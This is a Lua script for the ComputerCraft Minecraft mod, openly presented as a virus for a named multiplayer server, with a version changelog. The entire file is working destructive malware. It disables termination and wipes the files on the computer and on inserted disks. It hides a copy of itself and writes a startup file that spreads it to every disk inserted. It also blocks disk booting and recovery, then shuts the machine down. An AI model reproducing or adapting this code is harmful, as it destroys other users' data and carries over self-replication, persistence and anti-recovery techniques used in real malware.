-- CCNetV - A virus for CCNet (EpicCoderz server)
-- by KinoftheFlames

local VERSION = "v1.1_1"

--CHANGELOG
--[[
v1.1_1
---------
- hide replication file
- disable "formatting" hdd by destroying and placing PC/Turtle block

v1.1
---------
- limitted replication
- delete disk contents too
- fancied up the output a bit
- added pushing .nodisk - making the computer unrecoverable (besides mining it)

v1.0
---------
EVERYTHING
]]

os.pullEvent = os.pullEventRaw
print("Welcome to CCNet Virus "..VERSION.."!")

--delete files on hdd
if #fs.list("") > 0 then
    for i,file in ipairs(fs.list("")) do
        if not fs.isReadOnly(file) and file ~= "disk" and file ~= shell.getRunningProgram() then
            fs.delete(file)
            print("Deleting "..file.."...")
        end
    end

    --copy virus to hdd
    fs.copy(shell.getRunningProgram(), ".CCNetV")

    --delete files on disk
    if fs.exists("disk") then
        for j,file in ipairs(fs.list("disk")) do
            local filepath = "disk/"..file
            if not fs.isReadOnly(filepath) and filepath ~= shell.getRunningProgram() then
                fs.delete("disk/"..file)
                print("Deleting disk/"..file.."...")
            end
        end
    end

    --create startup file on hdd that spreads the virus to any disk inserted
    local startup = fs.open("startup", "w")
    startup.writeLine('if fs.exists("disk") and fs.exists(".CCNetV") then')
    startup.writeLine(' fs.delete("disk/startup")')
    startup.writeLine(' fs.copy(".CCNetV", "disk/startup")')
    startup.writeLine('end')
    startup.writeLine('os.shutdown()')
    startup.close()

    --create .nodisk file on hdd, preventing disk booting
    local nodisk = fs.open(".nodisk", "w")
    nodisk.write("")
    nodisk.close()

    --creates a label for the computer, blocking a hdd format by breaking and placing the block
    shell.run("label","set",":(")

    print("Thank you for your patronage!")
    print("This monitor will die forever in 10 seconds.")
    os.sleep(10)
    os.shutdown()
end